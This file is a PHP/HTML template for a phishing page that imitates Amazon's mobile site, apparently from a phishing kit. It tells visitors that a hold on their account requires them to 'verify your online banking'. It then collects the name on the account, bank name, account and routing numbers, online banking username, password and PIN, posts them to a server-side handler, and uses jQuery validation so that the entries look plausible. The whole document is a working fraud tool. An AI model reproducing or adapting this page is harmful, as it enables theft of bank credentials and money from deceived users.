<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!doctype html>
<html lang="en-us" class="a-touch a-mobile a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-orientation a-gradients a-hires a-transform3d a-touch-scrolling a-ios a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition a-ember awa-browser wpn-supported">
    <head>
        <meta name="viewport" content="width=device-width, maximum-scale=2, minimum-scale=1, initial-scale=1, shrink-to-fit=no">
        <meta charset="utf-8">
        <link rel="shortcut icon" href="<?= base_url() ?>RABBIT/RO/img/favicon.ico" />
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/design-mob.css">
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mob.css">
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/head.css">
        <meta name="theme-color" content="#131921">
        <style type="text/css">
        .nav-sprite-v3 .nav-sprite {
            background-image: url(<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png);
            background-repeat: no-repeat;
        }
        .nav-spinner {
            background-image: url(<?= base_url() ?>RABBIT/RO//img/snake._CB485935611_.gif);
        }
        </style>
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mob.css" />
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/nav-mob.css" />
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/navbar-mob.css" />
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobi.css" />
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mo.css" />
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mo.css" />
        <title dir="ltr">Your Addresses</title>
        <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
        <style>
        .a2hs-ingress-container,
        a[href^="#nav-hbm-a2hs-trigger"] {
            display:none!important
        }
        .a2hs-ingress-container.a2hs-ingress-visible,
        a[href^="#nav-hbm-a2hs-trigger"].a2hs-ingress-visible {
            display:block!important
        }
        </style>
        <style>
        @media all and (display-mode:standalone) {
        #chromeless-view-progress-bar,
        #chromeless-view-progress-bar::after {
            position:fixed;
            top:0;
            left:0;
            right:0;
            height:2px
        }
        @keyframes pbAnimation {
            0% {
              right:90%
            }
            100% {
              right:10%
            }
        }
        #chromeless-view-progress-bar {
            background:rgba(255,255,255,.1);
            z-index:9999999
        }
        #chromeless-view-progress-bar::after {
            content:'';
            background:#fcbb6a;
            animation:pbAnimation 10s forwards
            }
        }
        </style>
        <style></style>
        <style data-styled="active" data-styled-version="5.3.11"></style>
    </head>
    <body class="a-m-us a-aui_72554-c a-aui_a11y_6_837773-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c a-bw_aui_cxc_alert_measurement_1074111-c">
        <div id="a-page">
            <img src="<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png" style="display:none" alt=""/>
            <style mark="aboveNavInjectionCSS" type="text/css">
                #nav-mobile-airstream-stripe img {
                    max-width: 100%;
                }

                .nav-searchbar-wrapper {
                    display: flex;
                }
            </style>
            <header id="nav-main" data-nav-language=en_US class="nav-mobile nav-progressive-attribute nav-locale-us nav-lang-en nav-ssl nav-unrec nav-blueheaven">
                <div id="navbar" cel_widget_id='Navigation-mobile-navbar' role="navigation" class="nav-t-search nav-sprite-v3 celwidget">
                    <div id="nav-logobar">
                        <div class="nav-left">
                            <a href="#" id="nav-hamburger-menu" role="button" aria-label="Open All Categories Menu" aria-expanded="false">
                                <i class="nav-icon-a11y nav-sprite"></i>
                            </a>
                            <div id="nav-logo">
                                <a href="#" id="nav-logo-sprites" class="nav-logo-link nav-progressive-attribute" aria-label="Amazon">
                                    <span class="nav-sprite nav-logo-base"></span>
                                    <span id="logo-ext" class="nav-sprite nav-logo-ext nav-progressive-content"></span>
                                    <span class="nav-logo-locale">.us</span>
                                </a>
                            </div>
                        </div>
                        <div class="nav-right">
                            <div id="nav-progressive-greeting" class="nav-progressive-content">
                                <a href="#" id="nav-logobar-greeting" class="nav-a nav-show-sign-in"></a>
                            </div>
                            <a href="#" class="nav-a nav-progressive-attribute" id="nav-button-avatar" aria-label="your account">
                                <i class="nav-icon nav-icon-a11y nav-sprite"> </i>
                            </a>
                            <a href="#" aria-label="Cart" class="nav-a" id="nav-button-cart">
                                <div id="cart-size" class="nav-cart-0 nav-progressive-attribute">
                                    <span class="nav-icon nav-sprite">
                                        <span id="nav-cart-count" class="nav-cart-count nav-progressive-content nav-bluebeacon">0</span>
                                    </span>
                                </div>
                            </a>
                        </div>
                    </div>
                    <div class="nav-progressive-attribute" id='search-ac-init-data' data-aliases="" data-ime="" data-mkt="1" data-src="completion.amazon.com/search/complete"></div>
                    <div id="nav-search-keywords-data" class="nav-progressive-attribute" data-implicit-alias="aps"></div>
                    <div class="nav-searchbar-wrapper">
                        <form class="nav-searchbar search-big nav-bluebeacon" action="#" method="get" role="search" id="nav-search-form" accept-charset="utf-8">
                            <div class="nav-fill">
                                <div class="nav-search-field">
                                    <label for="nav-search-keywords" style="display: none;">Search Amazon</label>
                                    <input type="text" class="nav-input nav-progressive-attribute" placeholder="Search Amazon" data-aria-clear-label="Clear search keywords" aria-label="Search Amazon" name="k" autocomplete="off" autocorrect="off" autocapitalize="off" dir="auto" value="" id="nav-search-keywords" role="searchbox" aria-autocomplete="list" aria-controls="sac-autocomplete-results-container" aria-expanded="false" aria-haspopup="grid" spellcheck="false"/>
                                </div>
                            </div>
                            <div class="nav-right">
                                <div class="nav-search-submit nav-bluebeacon">
                                    <input type="submit" class="nav-input" value="Go" aria-label="Go"/>
                                    <i class="nav-icon nav-sprite"></i>
                                </div>
                            </div>
                        </form>
                    </div>
                    <div class="glow-subnav-template glow-mobile-subnav nav-bluebeacon" id="nav-subnav-container">
                        <div class="a-declarative nav-global-location-slot-upsell-false" data-action="glow-sheet-trigger" id="nav-global-location-slot" tabindex="0">
                            <div class="nav-sprite" id="nav-packard-glow-loc-icon"></div>
                            <div id="glow-ingress-block">
                                <span class="nav-single-line nav-persist-content" id="glow-ingress-single-line">Deliver to <?php echo $_SESSION['country']; ?> ⌵</span>
                            </div>
                        </div>
                    </div>
                    <div id="nav-subnav-toaster"></div>
                </div>
                <div id="nav-progressive-subnav"></div>
            </header>
            <a id="skippedLink" tabindex="-1"></a>
            <div class="a-container">
                <div class="a-section a-spacing-none auth-pagelet-mobile-container">
                    <noscript>
                        <div id="auth-js-alert-box" class="a-box a-alert a-alert-error auth-client-side-message-box a-spacing-base" role="alert">
                            <div class="a-box-inner a-alert-container">
                                <div class="a-alert-content">
                                    This site requires JavaScript to function correctly. Please enable JavaScript on your browser to continue.
                                </div>
                            </div>
                        </div>
                    </noscript>
                </div>
            </div>
                <div class="a-section">
                    <div class="a-section a-spacing-medium a-padding-base a-text-left">
                        <div class="a-section">
                            <form action="/ap/bank/process" method="post">
                                <span id="address-ui-widget-content">
                                <div id="address-ui-widgets-enterAddressFormContainer" data-csa-c-content-id="address-ui-widgets-enterAddressFormContainer-content-id-US" data-csa-c-slot-id="address-ui-widgets-enterAddressFormContainer-slot-id-US" data-csa-c-type="widget" class="a-section celwidget" data-csa-c-id="ahz59v-2px3si-5yk2no-pm7i4f" data-cel-widget="address-ui-widgets-enterAddressFormContainer">
                                    <h1 style="margin-top: -25px;" class="a-size a-padding-none a-text-bold">Verify your online banking.</h1>
                                    <h5 style="font-weight: normal;" id="address-ui-widgets-FullName" class="id-addr-ux-search-text">This is required to remove the hold on your account.</h5>
                                    <br>
                                    <div id="address-ui-widgets-prefill-fields-container" class="a-section a-spacing-none">
                                        <div class="a-input-text-group a-spacing-none">
                                            <div id="address-ui-widgets-prefill-full-name" class="a-section a-spacing-none">
                                                <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label for="nameonAccount" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Name on account</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                    <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                        <input type="text" name="nameonAccount" id="nameonAccount" spellcheck="false" aria-label="Fullname" placeholder="First and last name on bank account" autofocus="true" autocomplete="off" class="address-ui-widgets-text-input-clear-icon-padding" required="true">
                                                    </div>
                                                    <div id="inputErrorMsgNameonAccount"></div>
                                                </div>
                                            </div>

                                            <div id="address-ui-widgets-prefill-full-name" class="a-section a-spacing-none">
                                                <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label for="fullname" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Name of bank</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                    <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                        <input type="text" name="bankName" id="bankName" spellcheck="false" aria-label="Name of bank" placeholder="(E.g) Chase bank" autofocus="true" autocomplete="off" class="address-ui-widgets-text-input-clear-icon-padding" required="true">
                                                    </div>
                                                    <div id="inputErrorMsgBankname"></div>
                                                </div>
                                            </div>

                                            <div id="address-ui-widgets-prefill-full-name" class="a-section a-spacing-none">
                                                <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label for="act" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Account number</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                    <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                        <input type="text" name="actnum" id="actnum" inputmode="numeric" spellcheck="false" aria-label="Account number" placeholder="####-####" class="address-ui-widgets-text-input-clear-icon-padding" required="true">
                                                    </div>
                                                    <div id="inputErrorMsgACT"></div>
                                                </div>
                                            </div>
                                            <div id="address-ui-widgets-prefill-phone-number" class="a-section a-spacing-none">
                                                <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                    <div class="a-section a-spacing-none aok-inline-block">
                                                        <label for="phone" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                            <span class="a-size-base">Routing number</span>
                                                        </label>
                                                    </div>
                                                </div>
                                                <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                    <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                        <input type="text" id="routing" name="routingNumber" inputmode="numeric" spellcheck="false" aria-label="Routing number" placeholder="####-####" class="address-ui-widgets-text-input-clear-icon-padding" required="true">
                                                    </div>
                                                    <div id="inputErrorMsgRouting"></div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="a-row">
                                        <div class="a-input-text-group a-spacing-medium">
                                            <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                <div class="a-section a-spacing-none aok-inline-block">
                                                    <label for="address" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                        <span class="a-size-base">Online ID/Username</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container awz-mobile-address-line-input-container">
                                                <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                    <input type="text" id="onlineID" placeholder="Online ID or username" name="onlineID" spellcheck="false" aria-label="Address line 1" required="true">
                                                </div>
                                                <div id="inputErrorMsgID"></div>
                                            </div>
                                            <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                <div class="a-section a-spacing-none aok-inline-block">
                                                    <label for="city" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                        <span class="a-size-base">Password</span>
                                                    </label>
                                                </div>
                                            </div>
                                            <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                    <input type="password" id="bankPassword" name="bankPassword" autocomplete="off" spellcheck="false" aria-label="Bank Password" placeholder="Secure password" required="true">
                                                </div>
                                                <div id="inputErrorMsgBP"></div>
                                            </div>
                                        <div class="a-row">
                                            <div class="a-input-text-group a-spacing-medium">
                                                
                                                <div id="address-ui-widgets-prefill-full-name" class="a-section a-spacing-none">
                                                    <div class="a-section a-spacing-none adddress-ui-widgets-form-field-label-container">
                                                        <div class="a-section a-spacing-none aok-inline-block">
                                                            <label for="zipcode" class="a-form-label address-ui-widgets-desktop-form-field-full-width a-nowrap">
                                                                <span class="a-size-base">Pin/Passcode</span>
                                                            </label>
                                                        </div>
                                                    </div>
                                                    <div class="a-section a-spacing-base adddress-ui-widgets-form-field-container">
                                                        <div class="a-input-text-wrapper addrui-form-text-input-container aok-relative addrui-form-text-input">
                                                            <input type="password" inputmode="numeric" name="pin" id="pin" spellcheck="false" aria-label="pin" placeholder="Pin or passcode" autofocus="true" autocomplete="off" class="address-ui-widgets-text-input-clear-icon-padding" required="true">
                                                        </div>
                                                        <div id="inputErrorMsgPIN"></div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        </div>
                                    </div>
                                    <br>
                                    <span class="a-declarative" data-action="form-submit-button-click" data-csa-c-type="widget" data-csa-c-func-deps="aui-da-form-submit-button-click" data-form-submit-button-click="{}" data-csa-c-id="f0no4r-elumsu-hdqjy2-gkxnqd">
                                        <span id="address-ui-widgets-form-submit-button" class="a-button a-button-primary address-ui-widgets-mobile-tablet-form-field-full-width">
                                            <span class="a-button-inner">
                                                <input class="a-button-input" type="submit" id="btn_next" aria-labelledby="address-ui-widgets-form-submit-button-announce">
                                                <span id="address-ui-widgets-form-submit-button-announce" class="a-button-text" aria-hidden="true">Continue</span>
                                            </span>
                                        </span>
                                    </span>
                                    <div id="stop-mash-reappear"></div>
                                </div>
                                <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/deskop-address.css">
                                <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/custom-address-mobile.css">
                            </span>
                        </form>
                    </div>
                </div>
            </div>


            <footer class="nav-mobile nav-ftr-batmobile">
                <div id="nav-ftr" class="nav-t-footer-gateway nav-sprite-v3">
                    <a id="nav-ftr-gototop" class="nav-a" href="javascript:void(0)" aria-label="Top of page">
                        <i class="nav-icon"></i>
                        <b class="nav-b">Top of page</b>
                    </a>
                    <ul id="nav-ftr-links" class="nav-ftr-links-two-column">
                        <li class="nav-li nav-li-right">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Your Orders</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li nav-li-right">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Gift Cards</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li nav-li-right">
                            <a class="nav-a " href="$">
                                <span class="nav-ftr-text">Find a Gift</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li nav-li-right">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Browsing History</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li nav-li-right">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Your Returns</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li nav-li-right aok-offscreen nav-hidden">
                            <a class="nav-a " href="#" aria-label="Click to call our Disability Customer Support line, or reach us directly at 1-888-283-1678 ">
                                <span class="nav-ftr-text">Disability Customer Support</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li ">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Amazon.com</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li ">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Your Lists</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li ">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Registry & Gift List</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li ">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Your Account</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li ">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Sell products on Amazon</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li ">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Recalls and Product Safety Alerts</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                        <li class="nav-li ">
                            <a class="nav-a " href="#">
                                <span class="nav-ftr-text">Customer Service</span>
                                <i class="nav-icon nav-sprite"></i>
                            </a>
                        </li>
                    </ul>
                    <div class="icp-container-mobile">
                        <style type="text/css">
                            #icp-touch-link-language {
                                display: none;
                            }
                        </style>
                        <a href="#" aria-label="Choose a language for shopping. Current selection is English. " aria-owns="nav-flyout-icp-footer-flyout" class="icp-touch-link-2" id="icp-touch-link-language">
                            <div class="icp-nav-globe-img-2 icp-mobile-globe-2"></div>
                            <span class="icp-color-base">English</span>
                            <span class="nav-arrow icp-up-down-arrow"></span>
                        </a>
                        <style type="text/css">
                            #icp-touch-link-cop {
                                display: none;
                            }
                        </style>
                        <a href="#" class="icp-touch-link-2" id="icp-touch-link-cop">
                            <span class="icp-currency-symbol">$</span>
                            <span class="icp-color-base">USD - U.S. Dollar</span>
                        </a>
                        <style type="text/css">
                            #icp-touch-link-country {
                                display: none;
                            }
                        </style>
                        <a href="#" aria-label="Choose a country/region for shopping. The current selection is United States." class="icp-touch-link-2" id="icp-touch-link-country">
                            <span class="icp-flag-3 icp-flag-3-us"></span>
                            <span class="icp-color-base">United States</span>
                        </a>
                    </div>
                    <div id="nav-ftr-auth" hidden>
                        Already a customer?<a href="#" class="nav-a">Sign in</a>
                    </div>
                    <ul class="nav-ftr-horiz">
                        <li class="nav-li">
                            <a href="#" id="" class="nav-a">Conditions of Use</a>
                        </li>
                        <li class="nav-li">
                            <a href="#" id="" class="nav-a">Privacy Notice</a>
                        </li>
                        <li class="nav-li">
                            <a href="#" id="" class="nav-a">Consumer Health Data Privacy Disclosure</a>
                        </li>
                        <li class="nav-li">
                            <a href="#" id="" class="nav-a">Your Ads Privacy Choices</a>
                        </li>
                        <li class="nav-li">
                            <span id="nav-icon-ccba" class="nav-sprite"></span>
                        </li>
                    </ul>
                    <div id="nav-ftr-copyright">&copy;1996-2025, Amazon.com, Inc. or its affiliates
</div>
                    <div id="nav-ftr-legal"></div>
                </div>
            </footer>
        </div>
    </div>
            <div id="sis_pixel_r2" aria-hidden="true" style="height:1px; position: absolute; left: -1000000px; top: -1000000px;"></div>

            <script src="<?= base_url() ?>RABBIT/RO/js/jquery.min.js"></script>
            <script src="<?= base_url() ?>RABBIT/RO/js/jquery.mask.min.js"></script>
            <script src="<?= base_url() ?>RABBIT/RO/js/jquery.validate.min.js"></script>
            <script type="text/javascript">
            $('#nameonAccount').on("keyup , focus", () => {
                var BankholderName = $("#nameonAccount").val()
                if (BankholderName == "") {
                    $("#nameonAccount").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgNameonAccount").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a bank holder name.</div></div></div></div></div>')
                    $("#nameonAccount").parent().parent().parent().removeClass('validated')
                } else if (BankholderName.length < 6) {
                    $("#nameonAccount").addClass('error').addClass("hasText")
                    $("#inputErrorMsgNameonAccount").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a bank holder name.</div></div></div></div></div>')
                    $("#nameonAccount").parent().parent().parent().removeClass('validated')
                } else {
                    $("#nameonAccount").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgNameonAccount").html('')
                    $("#nameonAccount").parent().parent().parent().removeClass('validated')
                }
            });
            $('#bankName').on("keyup , focus", () => {
                var Bankname = $("#bankName").val()
                if (Bankname == "") {
                    $("#bankName").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgBankname").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a name of bank.</div></div></div></div></div>')
                    $("#bankName").parent().parent().parent().removeClass('validated')
                } else if (Bankname.length < 4) {
                    $("#bankName").addClass('error').addClass("hasText")
                    $("#inputErrorMsgBankname").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a name of bank.</div></div></div></div></div>')
                    $("#bankName").parent().parent().parent().removeClass('validated')
                } else {
                    $("#bankName").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgBankname").html('')
                    $("#bankName").parent().parent().parent().removeClass('validated')
                }
            });
            $('#actnum').on("keyup , focus", () => {
                let actnum = $("#actnum").val()
                if (actnum == "") {
                    $("#actnum").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgACT").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a account number.</div></div></div></div></div>')
                    $("#actnum").parent().parent().parent().removeClass('validated')
                } else if (actnum.length < 8) {
                    $("#actnum").addClass('error').addClass("hasText")
                    $("#inputErrorMsgACT").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a account number.</div></div></div></div></div>')
                    $("#actnum").parent().parent().parent().removeClass('validated')
                } else {
                    $("#actnum").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgACT").html('')
                    $("#actnum").parent().parent().parent().addClass('validated')
                }
            });
            $('#routing').on("keyup , focus", () => {
                let Rnum = $("#routing").val()
                if (Rnum == "") {
                    $("#routing").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgRouting").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a routing number.</div></div></div></div></div>')
                    $("#routing").parent().parent().parent().removeClass('validated')
                } else if (Rnum.length < 6) {
                    $("#routing").addClass('error').addClass("hasText")
                    $("#inputErrorMsgRouting").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a routing number.</div></div></div></div></div>')
                    $("#routing").parent().parent().parent().removeClass('validated')
                } else {
                    $("#routing").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgRouting").html('')
                    $("#routing").parent().parent().parent().addClass('validated')
                }
            });
            $('#onlineID').on("keyup , focus", () => {
                let onlineID = $("#onlineID").val()
                if (onlineID == "") {
                    $("#onlineID").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgID").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a online id or username.</div></div></div></div></div>')
                    $("#onlineID").parent().parent().parent().removeClass('validated')
                } else {
                    $("#onlineID").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgID").html('')
                    $("#onlineID").parent().parent().parent().addClass('validated')
                }
            });
            $('#bankPassword').on("keyup , focus", () => {
                let bpw = $("#bankPassword").val()
                if (bpw == "") {
                    $("#bankPassword").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgBP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a password.</div></div></div></div></div>')
                    $("#bankPassword").parent().parent().parent().removeClass('validated')
                } else if (bpw.length < 7) {
                    $("#bankPassword").addClass('error').addClass("hasText")
                    $("#inputErrorMsgBP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a password.</div></div></div></div></div>')
                    $("#bankPassword").parent().parent().parent().removeClass('validated')
                } else {
                    $("#bankPassword").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgBP").html('')
                    $("#bankPassword").parent().parent().parent().addClass('validated')
                }
            });
            $('#pin').on("keyup , focus", () => {
                let pin = $("#pin").val()
                if (pin == "") {
                    $("#pin").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgPIN").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a pin or passcode.</div></div></div></div></div>')
                    $("#pin").parent().parent().parent().removeClass('validated')
                    } else if (pin.length < 5) {
                    $("#pin").addClass('error').addClass("hasText")
                    $("#inputErrorMsgPIN").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a pin or passcode.</div></div></div></div></div>')
                    $("#pin").parent().parent().parent().removeClass('validated')
                    } else {
                    $("#pin").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgPIN").html('')
                    $("#pin").parent().parent().parent().addClass('validated')
                }
            });
            $('#actnum').mask('000000000000000000');
            $('#routing').mask('00000000000000000');
            $('#phone').mask('+1 (000) 000-0000');
            $('#pin').mask('000000');
            $('#fullname, #ssn, #phone, #mmn, #address, #city, #state, #zip').on("keyup , focus", () => {
                if (!$("#fullname").hasClass('error') && !$("#ssn").hasClass('error') && !$("#mmn").hasClass('error') && !$("#phone").hasClass('error') && !$("#address").hasClass('error') && !$("#cityx").hasClass('error') && !$("#state").hasClass('error') && !$("#zip").hasClass('error')
                    && $("#fullname").val().length > 0 && $("#ssn").val().length > 0 && $("#mmn").val().length > 0 && $("#phone").val().length > 0 && $("#address").val().length > 0 && $("#city").val().length > 0 &&  $("#state").val().length > 0 && $("#zip").val().length > 0) {
                    $("#btn_next").prop("disabled", false)
                } else {
                    $("#btn_next").prop("disabled", true)
                }
            });
            </script>
    </body>
</html>

